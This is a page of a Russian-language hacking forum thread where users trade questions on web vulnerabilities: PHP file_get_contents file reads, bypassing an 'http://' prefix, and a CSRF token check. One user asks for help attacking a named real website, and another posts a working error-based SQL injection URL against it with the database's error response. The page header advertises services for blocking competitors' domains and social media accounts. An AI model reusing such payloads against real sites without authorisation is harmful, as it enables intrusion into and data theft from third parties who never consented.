Ваши вопросы по уязвимостям.

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 274 из 296

274

Опции темы

Поиск в этой теме

Опции просмотра

#2731

18.12.2019, 20:08

Baskin-Robbins

Участник форума

Регистрация: 15.09.2018

Сообщений: 236

С нами: 4033046

Репутация: 212

Цитата:

Сообщение от trololoman96

↑
это точно можно просто в параметр пихать и file_get_contents его поймет?

ну создай файлик на хосте во всяком случае должен)

PHP код:


		
			
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR]

а еще скинь линк на таск, поковыряюсь тоже)

#2732

18.12.2019, 20:21

trololoman96

Участник форума

Регистрация: 01.12.2011

Сообщений: 120

С нами: 7604246

Репутация: 55

Цитата:

Сообщение от Baskin-Robbins

↑
ну создай файлик на хосте
во всяком случае должен)

PHP код:


		
			
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR]

а еще скинь линк на таск, поковыряюсь тоже)

Попробовал на виндовсе, апач, php 5.6.3 так же пишет что нет такого файла

Как добраться до читалки скинул в пм

#2733

18.12.2019, 20:32

Baskin-Robbins

Участник форума

Регистрация: 15.09.2018

Сообщений: 236

С нами: 4033046

Репутация: 212

Цитата:

Сообщение от trololoman96

↑
Попробовал на виндовсе, апач, php 5.6.3 так же пишет что нет такого файла
Как добраться до читалки скинул в пм

ох уж этот виндовс)) на линь без вопросов, пых 7.3 тоже апач

#2734

18.12.2019, 21:44

trololoman96

Участник форума

Регистрация: 01.12.2011

Сообщений: 120

С нами: 7604246

Репутация: 55

Цитата:

Сообщение от Baskin-Robbins

↑
ох уж этот виндовс)) на линь без вопросов, пых 7.3 тоже апач

php 5.6.40 и php 7.3.6 на линуксе тоже не сработало, хз в чем дело

#2735

20.12.2019, 13:49

Axiles

Новичок

Регистрация: 14.01.2016

Сообщений: 7

С нами: 5437046

Репутация: 0

Помогите раскрутить https://gexs.ru/brands/1_orange/?section_id=290

#2736

20.12.2019, 15:00

karkajoi

Постоянный

Регистрация: 26.10.2016

Сообщений: 438

С нами: 5025206

Репутация: 5

Цитата:

Сообщение от man474019

↑
https://gexs.ru/brands/1_orange/?se...lue(1,concat(0x3a,(select+user()+limit+0,1)) )

Да только толку мало, там фильтрует по длине потом и разрывает sel ect и fr om

Код:

Запрос
https://gexs.ru/brands/1_orange/?section_id=1+AND+extractvalue(1,concat(0x3a,((select+table_name+from+information_schema+tables+limit+1,1))))

Код:

Ответ 
Mysql query error: (1064) You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'ect table_name fr om information_schema tables limit 1,1))))))

#2737

23.12.2019, 10:05

Napas

Новичок

Регистрация: 30.11.2008

Сообщений: 15

С нами: 9181428

Репутация: 16

hi everyone

can i bypass http:// prefix and use wrappers or read files?

Код:

file_get_contents('http://'.$_GET["s"]);

Код:

$url = 'http://'.$_GET["s"];
...
curl_setopt($handler, CURLOPT_URL, $url);
...

#2738

23.12.2019, 10:52

crlf

Постоянный

Регистрация: 18.03.2016

Сообщений: 663

С нами: 5344886

Репутация: 441

Цитата:

Сообщение от Napas

↑
can i bypass
http://
prefix and use wrappers or read files?

nope

#2739

24.12.2019, 04:26

Octavian

Постоянный

Регистрация: 08.07.2015

Сообщений: 501

С нами: 5710646

Репутация: 24

Привет, подскажите что за обход тут

https://medium.com/@sainttobs/csrf-t...g-ff7f51166ea1

#2740

24.12.2019, 05:18

Pop-Xlop

Новичок

Регистрация: 26.08.2019

Сообщений: 20

С нами: 3536246

Репутация: 8

Цитата:

Сообщение от Octavian

↑
Привет, подскажите что за обход тут
https://medium.com/@sainttobs/csrf-t...g-ff7f51166ea1

А что собственно непонятно? В данном случае CSRF токен сверял идентичность параметров в заголовке и в куках, если одинаково - значит всё как надо. Классика идёт ещё со времен "защитных" капч. Уважаю таких разработчиков.

Счастливой охоты на жуков.